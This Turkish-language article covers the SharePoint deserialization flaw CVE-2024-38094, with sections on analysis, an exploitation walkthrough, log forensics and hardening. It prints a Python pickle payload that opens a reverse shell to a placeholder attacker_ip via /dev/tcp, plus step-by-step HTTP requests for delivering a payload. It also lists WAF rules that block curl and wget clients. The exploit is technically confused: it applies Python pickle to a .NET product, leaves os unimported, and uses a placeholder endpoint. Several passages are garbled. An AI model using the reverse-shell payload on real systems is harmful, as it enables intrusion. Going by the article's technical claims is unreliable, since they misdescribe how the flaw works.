CVE-2024-38094: Microsoft SharePoint Deserialization Vulnerability
Zorluk Seviyesi: Orta | Kaynak: CISA KEV
Zafiyet Analizi ve Giriş
Microsoft SharePoint, organizasyonların belge yönetimi ve işbirliği süreçlerini sürdürebilmesi için kritik bir platformdur. Ancak, bu güçlü araç içerisinde yer alan CVE-2024-38094 kodlu zafiyet, önemli güvenlik riskleri taşımaktadır. Bu zafiyet, deserialization (seriden çıkarma) hatasından kaynaklanmakta ve uzaktan kod yürütme (Remote Code Execution - RCE) imkanı tanımaktadır. Bu durum, kötü niyetli saldırganların sisteminize erişim kazanması ve zararlı yazılımlar yüklemesi için büyük bir fırsat sunmaktadır.
Deserialization, genellikle verilerin bir formatta saklanması ve daha sonra bu verilerin tekrar kullanılabilir hale getirilmesi işlemini ifade eder. Microsoft SharePoint'te bu süreçte yapılan bir hata, saldırganların kendi verilerini seriden çıkararak sistem üzerinde zararlı kod çalıştırabilmesine yol açmaktadır. Bu hatanın kaynağı, SharePoint'in bazı bileşenlerinde kullanılan hatalı kütüphanelerdir. Doğru yapılandırılmadığında, bu kütüphaneler, kullanıcıların kötü amaçlı veriler göndermesine izin verirken, sistemin beklenmedik bir şekilde tepki vermesine neden olabilir.
CVE-2024-38094, dünya genelinde birçok sektörde etkili olmuştur. Eğitim, sağlık, finans ve kamu sektörü gibi alanlarda faaliyet gösteren birçok kuruluş, bu tür bir güvenlik açığının kurbanı olma riski taşımaktadır. Özellikle, büyük ölçekli kamu kurumları ve hizmet sağlayıcılar, bu zafiyetin hedefi haline gelmiştir. Bir saldırı senaryosu düşünelim: Bir eğitim kurumu, SharePoint platformunu öğrenci verilerini yönetmek için kullanıyor olabilir. Eğer bir saldırgan bu zafiyeti kullanarak sisteme sızarsa, öğrencilerin kişisel bilgilerinin çalınması, sistemin felç olması ve itibar kaybı gibi ciddi sonuçlar doğurabilir.
Şimdi, zafiyetle ilgili bir örnek üzerinden gidersek, “kötü niyetli bir kullanıcı” tarafından hazırlanan bir veri girişi, SharePoint üzerindeki bir uygulama tarafından işlemeden geçirilirken, sistemin beklenmedik bir şekilde kod çalıştırmasına neden olabilir. Saldırgan, aşağıdaki gibi bir nesne yapısı kullanarak sistemi manipüle edebilir:
class MaliciousPayload:
def __reduce__(self):
# Kötü niyetli kodun burada çalıştırılacağı yer
return (os.system, ('bash -i >& /dev/tcp/attacker_ip/port 0>&1',))
# Payload’ı paylaş
malicious_object = MaliciousPayload()
Yukarıdaki örnekte, MaliciousPayload sınıfı, uzaktan bir saldırganın sistem üzerinde kontrol sağlamasına yol açan bir zararlı yük oluşturur. Bu tür bir saldırının önlenmesi için SharePoint’in güncel versiyonlarının kullanılması, yapılandırmaların güvenlik standartlarına uygun şekilde yapılması ve izleme sistemlerinin aktif edilmesi kritik öneme sahiptir.
Sonuç olarak, CVE-2024-38094 gibi deserialization zafiyetleri, kötü niyetli kişilerin bilgi sistemlerine sızmasını kolaylaştıran kapıları açmakta ve ciddi güvenlik tehditleri oluşturma potansiyeline sahiptir. Güvenlik uzmanlarının bu tür zafiyetlere karşı dikkatli olması ve sürekli eğitim alması, organizasyonların bu tehditlere karşı dirençli olmasını sağlayacaktır. Tüm kullanıcıların güncel güvenlik yamalarını uygulamaları, sistemlerini ve verilerini koruma konusunda atacakları en temel adımlardan birisidir.
Teknik Sömürü (Exploitation) ve PoC
Microsoft SharePoint içindeki CVE-2024-38094 zafiyeti, uzaktan kod çalıştırma (RCE - Remote Code Execution) olanağı tanıyan bir deserialization (deserialize etme) güvenlik açığıdır. Bu tür bir zafiyet, bir saldırganın sistem üzerinde yetkisiz bir şekilde kod çalıştırmasına olanak sunar ki bu, siber güvenlik tehlikeleri arasında oldukça ciddi bir sorun olarak karşımıza çıkmaktadır. Bu bölümde, bu zafiyetin nasıl teknik olarak sömürülebileceğine dair adım adım bir kılavuz sunulacaktır.
Öncelikle, SharePoint uygulamalarında deserialization süreci, istemciden sunucuya gönderilen nesnelerin (objelerin) dönüştürülmesi anlamına gelir. Bu süreç, veri bütünlüğü sağlamak adına kritik bir öneme sahiptir. Ancak, bu sistemin zayıf yönleri, bir saldırganın kötü niyetli veriler göndermesi durumunda, sistemin beklenmeyen tepkiler vermesine ve dolayısıyla güvenlik ihlali yaşanmasına neden olabilir.
Adım 1: Hedef Tespiti ve Bilgi Toplama İlk olarak, SharePoint uygulamasının hangi sürümünün kullanıldığını öğrenmek gereklidir. Hedef sistem hakkında bilgi toplamak için, aşağıdaki HTTP isteği örneği kullanılabilir:
GET /_layouts/15/settings.aspx HTTP/1.1
Host: hedefdomain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Bu isteğin yanıtı, sistemin hangi SharePoint sürümünü kullandığını ve üzerinde herhangi bir güvenlik güncellemesi olup olmadığını öğrenmenize olanak tanır.
Adım 2: Saldırı Payload’ını Oluşturma Deserialization zafiyetinden yararlanmak için, belirli bir veriyi içeren bir payload oluşturmak gerekecektir. Python dilinde aşağıda örnek bir payload taslağı verilmiştir:
import pickle
class MaliciousCode:
def __reduce__(self):
return (os.system, ('whoami',))
payload = pickle.dumps(MaliciousCode())
Bu payload, "whoami" komutunu çalıştırarak sistemdeki kullanıcı bilgisini elde eder. Elbette, bu örnek basit bir senaryo için hazırlanmış olup, gerçek uygulamalarda daha karmaşık kabuk (shell) komutları ile değiştirilebilir.
Adım 3: Payload’ı Gönderme Oluşturduğunuz payload’ı hedef SharePoint sistemine göndermek için bir POST isteği yapılması gerekmektedir. Aşağıdaki HTTP isteği örneği, payload’ın nasıl gönderileceğine dair bir gösterim sunmaktadır:
POST /path/to/endpoint HTTP/1.1
Host: hedefdomain.com
Content-Type: application/x-www-form-urlencoded
data=payload_data_here
Bu aşamada gönderilen payload, deserialization sürecine dahil edilerek sistem üzerinde etkili olmaya çalışır.
Adım 4: Sonuçların Gözlemlenmesi Payload başarıyla çalıştığında, uzaktaki sistemde tanımlı komut yürütülecek ve hedef sistem üzerinden yetkisiz bilgi elde edilecektir. Bu bilgiler, genellikle hata raporları veya yanıt mesajları şeklinde geri dönecektir.
Özetle, CVE-2024-38094 no’lu bu zafiyet, Microsoft SharePoint üzerinde ciddi bir güvenlik açığı teşkil etmekte. Deserialization (deserialize etme) sürecinin kötüye kullanılabilmesi, bir saldırganın sistemi kontrol altına almasına yol açabilir. Bu sebeple, SharePoint uygulamalarını yöneten güvenlik profesyonellerinin bu tür zafiyetlere karşı sistemlerini sürekli güncel tutmaları ve güvenlik yamalarını uygulamaları elzemdir. Unutulmamalıdır ki, bu tür zafiyetlerin keşfedilmesi ve doğru bir şekilde sömürülmesi, etik hacking (etik sızma testi) uygulamaları açısından oldukça önemlidir.
Forensics (Adli Bilişim) ve Log Analizi
Microsoft SharePoint, birçok organizasyonun iş süreçlerini ve veri yönetimini kolaylaştıran popüler bir platformdur. Ancak, CVE-2024-38094 kodlu bir zafiyet; bu güçlü aracın güvenliğini tehdit eden önemli bir deserialization (deserileştirme) açığına işaret ediyor. Bu tür bir zafiyet, kötü niyetli bir saldırganın uzaktan kod çalıştırmasına (RCE: Remote Code Execution) olanak tanır, bu da ciddi veri sızıntılarına ve hatta sistem kontrolüne yol açabilir.
Deserialization açığı, bir uygulamanın güvenli olmayan biçimde veriyi geri yüklemesi sonucu ortaya çıkar. Örneğin, saldırgan, SharePoint platformuna kötü amaçlı bir nesne göndererek bunu sistemde çalıştırabilir. Böyle bir saldırının gerçekleştirilmesi, genellikle gereksinim duyulan kullanıcının kimlik doğrulamasını (auth bypass) aşmasını sağlarken, kurumsal ağda ciddi riskler doğurur.
Bir siber güvenlik uzmanı olarak bu tür saldırıların gerçekleştirilip gerçekleştirilmediğini anlamak için, SIEM (Security Information and Event Management) sistemlerini ve log dosyalarını analiz etmek önemlidir. Özellikle aşağıdaki imzalara (signature) dikkat edilmelidir:
Anomalik Erişim Talepleri: SharePoint log kayıtlarını incelediğinizde, normalden fazla veya beklenmedik bir kaynaktan gelen erişim isteklerine dikkat edin. Saldırganların genellikle hedef uygulamalara alışılmadık yollarla erişmeye çalıştıkları bilinmektedir.
Hatalı Deserialization Girişimleri: Log dosyalarında "deserialization failed" gibi hataların kaydedilip edilmediğini kontrol edin. Bu, kötü niyetli bir nesnenin platforma gönderildiğini gösterebilir.
Yüksek Yüksek Başarımlı İşlemler: Log dosyalarınızda anormal ve beklenmedik yüksek başarımlı işlem (successful operation) kayıtlarını araştırın. İzinsiz işlemler genellikle aniden artış gösterir, bu nedenle bu durum dikkat çekici olabilir.
Şüpheli Suspicious Tabanlı İstemciler: Özellikle, IP adreslerinin veya kullanıcı ajanlarının anormal görünümlü ve bilinen güvenilir kaynaklardan olmayanlardan geldiğini araştırın. Bazı durumlarda, kötü niyetli hazinelerden kaynaklanan IP adresleri, hedef sistemlere saldırı için tarama yapabilir.
Veri Sızıntısı ve İnternet Tabanlı Aktivite: SharePoint üzerinde gerçekleştirilen tüm işlemler, olası veri sızıntılarını gösterebilir. Şüpheli veri aktarım kayıtları ve anormal trafiğin analizi, RCE saldırılarının araştırılmasına yardımcı olabilir.
Kod Dışında İşlemler: Kötü niyetli kod çalıştırma girişimlerini anlamak için, SharePoint üzerindeki gerçekleşen her türlü şüpheli komut dosyasını (script) takip etmek önemli bir adımdır. Log analizi sırasında, doğrudan çalışmaya yönelik ikincil kaynakların taranması, önemli bilgiler sunabilir.
Yukarıda belirtilen işaretler ve kriterler, ihtiyaç duyulan kritik zafiyetlerin tespit edilmesine yardımcı olur. Bir siber güvenlik uzmanı olarak, bu tür zafiyetlere karşı koruma önlemleri almak ve ilgili güncellemeleri uygulamak gerekmektedir. Ayrıca, düzenli log analizi ve eğitimler, organizasyonların bu tür tehditlerle başa çıkmasına olanak sağlar.
Sonuç olarak, CVE-2024-38094 gibi ciddi zafiyetlerin farkında olmak ve bu tür tehditlere karşı proaktif bir yaklaşım sergilemek, hem kurumların veri güvenliğini artırır hem de olası zararları minimize eder. Siber dünyada güvenliği sağlamak, sürekli bir çaba ve eğitim gerektiren bir süreçtir.
Savunma ve Sıkılaştırma (Hardening)
Microsoft SharePoint, birçok organizasyon için kritik öneme sahip bir içerik yönetim sistemidir. Ancak, CVE-2024-38094 olarak bilinen deserialization (seri hale getirme) açığı, uygulamanın güvenliğini tehlikeye atarak uzaktan kod yürütme (RCE) olanağını sağlamaktadır. Bu zafiyet, saldırganların SharePoint kurulumlarına kötü amaçlı yükler göndermesine veya mevcut sistemleri ele geçirmesine olanak tanır.
Deserialization, bir nesnenin ikili verilerini geri yükleme işlemidir. Ancak bu işlem güvenli bir şekilde gerçekleştirilmezse, saldırganlar kötü niyetli nesneler oluşturup uygulama içinde bu nesneleri işleyerek kod çalıştırabilir. Örneğin, bir saldırgan, SharePoint uygulamasında kullanıcının girdiği verileri veya nesneleri manipüle ederek kontrolü ele geçirebilir.
Bu tür zafiyetlerden korunmak için ilk olarak uygulama ortamının sıkılaştırılması gereklidir. İşletim sistemleri ve SharePoint’in yamanmış (patched) olduğu varsayılsa da, daha temel güvenlik önlemleri almak gereklidir. Aşağıda, bu konuda atılabilecek adımları detaylı bir şekilde inceleyeceğiz.
Uygulama Sunucusunun Güvenliğini Sağlamak: Sunucu yapılandırmalarınızı gözden geçirin. Gereksiz servisleri devre dışı bırakın ve uygulamanın gereksinim duyduğu minimum bileşenlerle çalışmasını sağlayın. Örneğin, IIS (Internet Information Services) üzerinde yalnızca gerekli olan MIME türlerini etkinleştirin. Bu, potansiyel saldırı yüzeyini azaltacaktır.
WAF (Web Application Firewall) Kullanımı: WAF, SharePoint uygulamanız için ek bir güvenlik katmanı sunabilir. Bu noktada, belirli kural setleri oluşturmak önemlidir. Örneğin, aşağıdaki gibi kurallar ekleyerek gelen HTTP isteklerinde potansiyel zayıf noktaları analiz ederek önleyici tedbirler alabilirsiniz:
SecRule REQUEST_HEADERS:User-Agent ".*(python|curl|wget).*" "id:1000001,phase:1,deny,status:403"
SecRule REQUEST_BODY "@rx \bserialize\b" "id:1000002,phase:2,deny,status:403"
SecRule REQUEST_URI "@rx \badmin\b" "id:1000003,phase:2,deny,status:403"
Bu kurallar, belirli zararlı HTTP başlıkları ve gövdesi içeren istekleri engelleyerek uygulamanızı koruyacaktır.
Güncellemeler ve Yamanın Önemi: Microsoft, zafiyetleri gidermek için düzenli olarak güncellemeler yayımlamaktadır. Bu güncellemeleri takip etmek ve sistemlerinizi en son yamalarla güncel tutmak kritik bir koruma önlemidir. Otomatik güncelleme seçeneğini kullanarak, güvenlik açıklarına karşı korumanızı artırabilirsiniz.
Rol Tabanlı Erişim Kontrolleri: SharePoint’de kullanıcıların yetkilerini en az ayrıcalık prensibine göre ayarlayın. Kullanıcılara sadece işlerini yapabilmeleri için gerekli olan en düşük erişim düzeyini verin. Böylece, bir kullanıcının hesabının ele geçirilmesi durumunda, potansiyel zarar en aza indirilmiş olur.
Loglama ve İzleme: SharePoint uygulamanızda olay günlüğü (log) oluşturma ve bu günlüklere erişim izni verecek bir sistem kurmak önemlidir. Saldırganların potansiyel olarak kötü niyetli faaliyetlerini erken aşamada tespit edebilmek için bu logları sürekli olarak inceleyin.
Sonuç olarak, Microsoft SharePoint’deki deserialization açığı ciddi bir tehdit oluşturabilir, ancak doğru savunma ve sıkılaştırma teknikleri ile olası saldırılara karşı önlem alınabilir. Belirtilen yöntemler, uygulamanızın güvenliğini artırmak için etkili önlemler sunmaktadır. Unutmayın, her zaman proaktif olmalı ve güvenlik uygulamalarınızı güncel tutmalısınız.